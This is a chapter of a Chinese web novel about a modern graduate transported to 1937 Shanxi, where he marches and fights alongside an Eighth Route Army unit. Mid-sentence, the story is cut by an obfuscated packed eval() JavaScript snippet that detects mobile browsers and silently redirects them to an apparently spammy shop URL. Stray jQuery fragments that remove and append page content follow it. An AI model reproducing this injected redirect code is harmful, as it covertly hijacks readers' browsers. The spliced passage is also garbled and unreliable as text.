林晏在黑暗中醒来。


    不是出租屋那种有窗外路灯渗入的暗，而是浓稠的、伸手不见五指的漆黑。他花了几秒钟才确认自己身在何处——1937年，山西宁武关附近的小村庄，一间勉强算完整的农舍里。


    他睡在铺了干草的地上，身上盖着一条薄毯，布料粗糙得像砂纸，散发着霉味和汗味混杂的气息。房间里还躺着七八个人，此起彼伏的鼾声和磨牙声在黑暗中格外清晰。


    左肩的伤口还在隐隐作痛。林晏摸黑检查了一下，绷带已经渗血了，但好在没有感染——至少他自己这么觉得。他不敢想象在这个没有抗生素的年代，伤口感染会是什么后果。


    窗外传来脚步声，是哨兵在换岗。压低的声音，简短的交接，然后是皮靴踩在碎石上的轻响。一切井然有序，与影视剧里演的完全不同——这里没有豪言壮语，只有沉默的纪律。


    林晏重新躺下，盯着看不见的屋顶。他想起昨晚睡前分到的食物：一个拳头大的窝头，黑乎乎的，粗粝得刮嗓子，还有半碗几乎看不见米粒的稀粥。李铁柱说这已经是“好伙食”了，因为刚打了场小胜仗，缴获了点粮食。


    他勉强吃下去，胃却一直不舒服。不是饿，而是不适应。他的身体习惯了精米白面，习惯了按时三餐，习惯了2026年的食品安全标准。而这个时代的食物，粗糙、简单、充满了不确定性。


    天快亮时，林晏迷迷糊糊又睡着了。他梦见了自己的出租屋，梦见了电脑屏幕上闪烁的简历投递成功提示，梦见了父母打来电话说“不行就回家吧”。


    然后被一声尖锐的哨声惊醒。


    “起床！五分钟集合！”


    房间里的人几乎同时弹起来。黑暗中人影晃动，穿衣、打绑腿、检查装备的声音密集响起。林晏手忙脚乱地爬起来，试图学着别人的样子整理那身过于宽大的军装。


    “绑腿不会打？”旁边一个年轻士兵看不过去，蹲下来帮他，“这样，绕过来，压紧，不然行军半天就散了。”


    士兵叫王石头，十七岁，河北人，参军刚三个月。他的手很巧，几下就把绑腿打得又紧又平整。


    “谢谢。”林晏小声说。


    王石头咧嘴一笑，露出一口不太整齐的牙：“没事儿，沈连长说了，你是读书人，这些粗活慢慢学。”


    读书人。这个标签让林晏既安心又不安。安心是因为这给了他一个“笨拙”的理由，不安是因为他知道自己根本算不上这个时代的“读书人”——他连繁体字都认不全。


    集合点在村口的打谷场。天刚蒙蒙亮，晨雾弥漫，三十几个人在雾中列队。林晏站在队伍末尾，努力挺直腰板，但他的站姿还是太“松”了——这是李铁柱昨晚说的，说他“站得像个学生，不像个兵”。


    沈擎苍从雾中走出来。


    他今天换了身相对干净的军装，但依然打着补丁。脸上有刚刮过胡子的痕迹，下巴上有一道小小的伤口——估计是用钝刀片刮的。他的目光扫过队伍，在林晏身上停顿了一瞬。


    “报数！”


    “一！二！三！……”


    林晏等到自己时，紧张地喊：“三十三！”声音有点破音，引来几声压抑的笑。


    沈擎苍没笑。他走到队伍前，声音不高，但每个人都能听清：“昨晚接到命令，我们要在天黑前转移到二十里外的赵家庄。岛国军有向东扫荡的迹象，这里不能久留。”


    他顿了顿，目光变得锐利：“行军途中，保持静默，注意隐蔽。新来的同志——”他看向林晏，“跟紧队伍，不要掉队，不要发出不必要的声音。明白吗？”


    “明白！”林晏连忙回答。


    “出发。”


    队伍像一条灰色的蛇，悄无声息地滑出村庄。林晏被安排在队伍中段，前面是王石头，后面是李铁柱。这显然是特意安排——把他夹在两个老兵中间。


    刚开始的路还算好走，是乡间土路。但很快，队伍离开大路，钻进了一片山林。


    真正的考验开始了。


    山路崎岖，很多地方根本没有路。战士们手脚并用地攀爬，动作熟练得像是长在山里的动物。林晏跟在后面，没爬多久就开始喘粗气。他的运动鞋在湿滑的岩石上打滑，有两次差点摔倒，都是李铁柱在后面托住他。


    “脚要踩实，”李铁柱低声指导，“重心放低，手抓牢。”


    林晏照做，但身体不听使唤。他的肌肉没有经过这种训练，协调性也差。更致命的是，他一直在室内生活，缺乏户外运动的经验，对地形的判断力几乎为零。


    爬上一处陡坡时，林晏踩到一块松动的石头。石头滚落，发出哗啦的声响。


    “停！”前面传来沈擎苍压低的声音。


    整个队伍瞬间静止，所有人都伏低身体。林晏的心脏狂跳，他意识到自己又犯了错。


    沈擎苍从队伍前方折返，脚步轻得听不见声音。他来到林晏面前，目光扫过那块滚落的石头，又看向林晏惨白的脸。


    “第几次了？”沈擎苍问，声音平静得可怕。


    林晏张了张嘴，说不出话。


    “行军两个小时，你弄出三次声响。”沈擎苍继续说着，语气里没有责备，只是在陈述事实，“第一次是水壶磕到石头，第二次是踩断树枝，现在是这个。”


    周围的战士们都沉默着，但林晏能感觉到那些目光——不是恶意，而是一种无奈的审视。他是个累赘，所有人都知道。


    “李铁柱。”沈擎苍转向后面。


    “到！”


    “你负责他。再有下次——”沈擎苍没说完，但意思很明显了。


    队伍继续前进。林晏感到脸颊发烫，不是羞耻，而是一种更深层的无力感。在2026年，他是重点大学毕业的高材生，是父母老师的骄傲。在这里，他连安静走路都做不到。


    又走了一个小时，队伍在一处隐蔽的山坳里短暂休整。


    林晏瘫坐在地上，肺像风箱一样起伏。他抬起手，看见手掌已经被岩石和树枝划出了好几道口子，细密的血珠渗出来。这在战士们看来可能连伤都算不上，但对林晏来说，这种疼痛是陌生的。


    “给。”王石头递过来一个水壶，是那种铁皮军用水壶，表面坑坑洼洼。


    林晏喝了一口，水有股铁锈味，但他顾不上了。


    “林哥，你是大学生，怎么不留在后方？”王石头在旁边坐下，好奇地问，“我听说后方也缺读书人，写写算算的，比前线安全多了。”


    林晏不知如何回答。他能说什么？说自己是穿越来的，根本没得选？


    “想打鬼子。”他最终憋出这么一句，自己都觉得假。


    王石头却信了，眼睛亮起来：“我就知道！读书人也有血性的！”


    李铁柱在旁边哼了一声，没说话。他正在检查自己的步枪，动作熟练而专注，仿佛那是他身体的一部分。


    休整十分钟后，哨声再次响起。这次不是继续前进，而是战斗准备。


    “前方发现敌情，”沈擎苍简短下令，“一个小队的岛国军，押送物资。准备伏击。”


    战士们立刻进入状态。枪栓拉动的咔嚓声密集响起，手榴弹从腰间解下。林晏茫然地站着，不知道自己该做什么。


    “你，”沈擎苍指向林晏，“跟卫生员在一起，在后方隐蔽。没有命令不许动。”


    这是保护，也是不信任。林晏明白。


    他被带到一处岩石后面，那里已经蹲着两个人——一个背着药箱的年轻卫生员，还有一个腿部受伤的战士。卫生员看见林晏，点了点头，继续给伤员换药。


    林晏蹲下来，透过岩石缝隙看向前方。


    伏击点设在一段山路拐弯处。沈擎苍已经把队伍布置好，一半人在路左的树林，一半人在路右的土坡后。他本人趴在最前方的位置，架着一支步枪——林晏后来才知道，那是缴获的三八式步枪，沈擎苍是团里有名的神枪手。


    时间一分一秒过去。林晏能听见自己的心跳，能感觉到汗水从额角滑落。这不是游戏，不是电影，这是真实的战场，而他像个局外人一样躲在后面。


    终于，远处传来了马蹄声和脚步声。


    一队岛国军出现在山路尽头。大约三十人，押着三辆骡车，车上盖着帆布。他们走得很松散，显然没有预料到会在这里遇袭。


    距离一百米。八十米。五十米。


    林晏看见沈擎苍缓缓抬起手。


    三十米。


    手猛地挥下。


    枪声瞬间爆发。


    战斗开始得突然，结束得也快。岛国军在最初的打击下就倒下七八人，剩下的仓促还击，但地形对他们不利。沈擎苍的枪法准得可怕，林晏亲眼看见他一枪放倒了一个正在架设机枪的岛国军士兵。


    但战场没有绝对的碾压。一个岛国军士兵冲到了近处，刺刀闪着寒光，直扑向路左的一个年轻战士。


    那战士正在换弹，来不及反应。


    林晏的心脏提到了嗓子眼。


    就在刺刀即将刺入的瞬间，一声枪响。岛国军士兵应声倒地，额头正中一个血洞。


    开枪的是沈擎苍。他从伏击位置冲到近前，开枪，然后毫不停顿地转向下一个目标。整个动作行云流水，冷静得不像在杀人，像在完成一套精密的操作流程。


    战斗在五分钟内结束。岛国军全部被歼，我军只有两人轻伤。


    “打扫战场！动作快！”沈擎苍下令。


    战士们快速检查岛国军尸体，收集武器弹药。林晏从岩石后走出来，腿还是软的。他第一次亲眼看见这么多人死在自己面前——不是屏幕上的像素点，是真实的、温热的、正在流血的尸体。


    一个岛国军士兵还没完全断气，胸口起伏着，嘴里冒着血泡。他看起来很年轻，可能只有十八九岁。


    卫生员走过去，蹲下身检查了一下，然后看向沈擎苍，摇了摇头。


    沈擎苍走过来，看了一眼，从腰间拔出手枪。


    林晏下意识地闭上眼睛。


    枪响。很闷的一声。


    再睁开眼时，那个年轻的岛国军士兵已经不动了。


    “不忍心看？”沈擎苍的声音在旁边响起。


    林晏转头，看见沈擎苍正在往手枪里压子弹，动作很稳，眼神平静得像刚做完一件日常琐事。


    “我……”林晏不知道说什么。


    “战争就是这样。”沈擎苍说，“你不杀他，等他缓过来，就会杀我们的人。”他把手枪插回枪套，“收起你那套未来人的慈悲。在这里，慈悲是奢侈品。”


    说完，他转身去检查缴获的物资了。


    林晏站在原地，看着那具年轻的尸体。他想起了游戏里击杀敌人时跳出的数字，想起了影视剧里主角光环下的“不杀原则”。那些都是假的。真实的战争，是沈擎苍刚才那平静的一枪，是必须做出的残酷选择。


    打扫战场时，林晏被分配了一个任务：记录缴获物资。


    他拿着一个小本子和半截铅笔，跟着李铁柱清点。三八大盖十二支，子弹五百余发，手榴弹二十枚，还有一批粮食——大米、罐头，以及一些药品。


    “这个，”李铁柱拿起一个铁盒子，上面印着岛国文，“应该是急救包。给卫生员。”


    林晏记录着，但他的注意力被另一件东西吸引了——一个岛国军军官的笔记本，从一名军官的尸体上找到的。本子很精致，翻开，里面是密密麻麻的岛国文，夹杂着一些手绘的地图。


    他看不懂岛国文，但那些地图……


    “连长！”林晏拿着笔记本跑到沈擎苍面前，“这个，可能有重要信息。”


    沈擎苍接过，快速翻看。他的眉头渐渐皱紧。


    “是侦察记录，”沈擎苍说，指着地图上的标记，“他们在标注这一带的地形、村庄、可能的游击队活动区域。还有——”他翻到最后一页，上面用红笔圈出了几个地点，“这几个村子，被标注为‘重点清剿目标’。”


    其中一个被圈出的村子，就是他们今天要转移去的赵家庄。


    气氛瞬间凝重。


    “情报可能已经传回去了，”一个排长说，“赵家庄不安全了。”


    沈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140718|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    擎苍合上笔记本，思考了几秒钟：“改变路线。不去赵家庄了，我们去这里——”他指向地图上一个没有标注名字的山坳，“这里地势复杂，易守难攻，岛国军的大部队进不来。”


    “那赵家庄的乡亲们呢？”王石头忍不住问。


    沈擎苍沉默了片刻：“派两个人去报信，让他们尽快转移。但我们不能去——岛国军如果根据这个笔记本追查，会以为我们去赵家庄。我们去相反的方向，吸引注意力。”


    这是残酷的计算。用自己当诱饵，换取群众转移的时间。


    没有人反对。所有人都明白，这是现在的最优解。


    林晏看着沈擎苍的侧脸。这个男人刚才毫不犹豫地枪杀了一个伤兵，现在又在冷静地算计如何用自己当诱饵。他的道德观是2026年的林晏无法理解的，但在这个时代，在这个战场上，这或许就是“正确”。


    队伍重新出发，转向西北方向。这次的行军更加谨慎，因为随时可能遭遇追兵。


    林晏依然笨拙，依然会弄出声响，但他在努力。他观察前面战士的脚步，学习他们的节奏；他记住李铁柱的提醒，把重心放低；他甚至开始学着辨认地形——哪里容易滑倒，哪里需要手脚并用。


    下午三点左右，他们到达了那个无名的山坳。这里确实隐蔽，三面环山，只有一条狭窄的入口。沈擎苍立刻布置岗哨，安排休息。


    林晏终于可以坐下来休息了。他的脚底磨出了水泡，手掌的伤口又裂开了，全身每一块肌肉都在酸痛。他靠在岩石上，闭上眼睛，几乎要睡过去。


    “给。”


    睁开眼，沈擎苍站在面前，递过来一个东西——是一个岛国军的罐头，上面印着看不懂的文字。


    “缴获的，每人分一个。”沈擎苍说，“你那份。”


    林晏接过，沉甸甸的。他不知道怎么打开。


    沈擎苍在他旁边坐下，从腰间拔出一把刺刀——也是缴获的，刀身上还有未擦净的血迹。他用刀尖撬开罐头盖，递给林晏。


    里面是某种肉，浸泡在油脂里，味道很怪。


    “吃吧，”沈擎苍说，“比窝头有营养。”


    林晏吃了一口，油腻的味道让他想吐，但他强迫自己咽下去。他知道，这可能是接下来几天里最好的食物了。


    沈擎苍自己也开了一个罐头，慢慢吃着。两人沉默地坐着，夕阳把山坳染成金色。


    “你昨天说，”沈擎苍突然开口，声音很轻，“战争会持续八年。”


    林晏的手顿住了。


    “嗯。”他低声回答。


    “我们会赢？”


    “会。”林晏说，这次很肯定，“但代价很大。”


    “多大？”


    林晏沉默了。他知道数字——三千万军民伤亡，但他不敢说。这个数字太沉重，沉重到说出来都是一种残忍。


    沈擎苍也没有追问。他只是看着远方的山峦，许久，说了一句：“只要能赢，代价再大，也得付。”


    这话里有一种林晏无法理解的决绝。在2026年，人们谈论代价时总带着惋惜和反思。但在这里，在1937年的山西山区，代价是一个已经被接受的前提。


    “你来自的未来，”沈擎苍转过头，看着林晏，“是什么样子？”


    林晏想了想：“和平。没有战争。人们可以自由地生活、学习、工作。华夏很强盛，没有人敢欺负我们。”


    “听起来像做梦。”沈擎苍笑了笑，那是林晏第一次见他笑，很淡，但真实。


    “不是梦，”林晏认真地说，“是真的。我亲眼见过。”


    沈擎苍点点头，没有再问。他吃完罐头，把空盒子小心地收起来——这种铁盒子可以当水杯，可以煮东西，是宝贵的物资。


    “林晏，”他站起来，准备离开，“你记住，不管你在未来是什么人，在这里，你就是八路军的一个兵。兵有兵的职责，兵有兵的规矩。”


    “我明白。”


    “还有，”沈擎苍顿了顿，“你那些关于未来的话，不要再对任何人说。不是不相信你，而是——”他看向远处正在休息的战士们，“他们需要的是希望，但不需要知道代价的具体形状。明白吗？”


    林晏明白了。有些真相，知道了反而是一种负担。


    沈擎苍离开后，林晏继续吃着那罐油腻的肉。夕阳渐渐沉下山头，山坳里暗下来。哨兵的身影在山脊上移动，像剪影。


    他想起2026年的自己，那个为找工作焦虑的毕业生。那些焦虑现在看来多么奢侈——那时候他焦虑的是前途，是生活品质；现在他焦虑的是能不能活到明天，能不能不拖累别人。


    “林哥，”王石头凑过来，小声问，“连长刚才跟你说啥了？”


    “没什么，”林晏说，“问我能不能适应。”


    “那你可得快点适应，”王石头认真地说，“我听说岛国军要大扫荡了，接下来的日子，更难。”


    更难。这个词让林晏心里一沉。


    但他看了看周围——这些衣衫褴褛、面黄肌瘦的战士，这些明知前路艰难却依然在坚持的人。他突然觉得，自己的那些不适应、那些痛苦，似乎都不值一提了。


    夜幕降临，山坳里点起了篝火——很小的一堆，隐蔽在山岩凹陷处。火光跳跃，映照着每一张疲惫而坚毅的脸。


    沈擎苍在火光旁摊开地图，用铅笔在上面标注着什么。他的侧影在火光中显得格外专注，仿佛整个世界就浓缩在那张粗糙的纸片上。


    林晏远远看着，突然意识到：这个男人，和他身边的所有人，正在用最简陋的工具、最艰苦的条件，进行着一场这个民族历史上最艰难的战争。


    而自己，这个来自未来的、不合时宜的闯入者，必须找到自己在这个故事里的位置。


    不是先知，不是救世主。


    只是一个兵。一个需要学习如何成为兵的普通人。


    夜风吹过山坳，带着深秋的寒意。林晏裹紧了那身宽大的军装，闭上了眼睛。


    明天还会更难。


    但他必须走下去。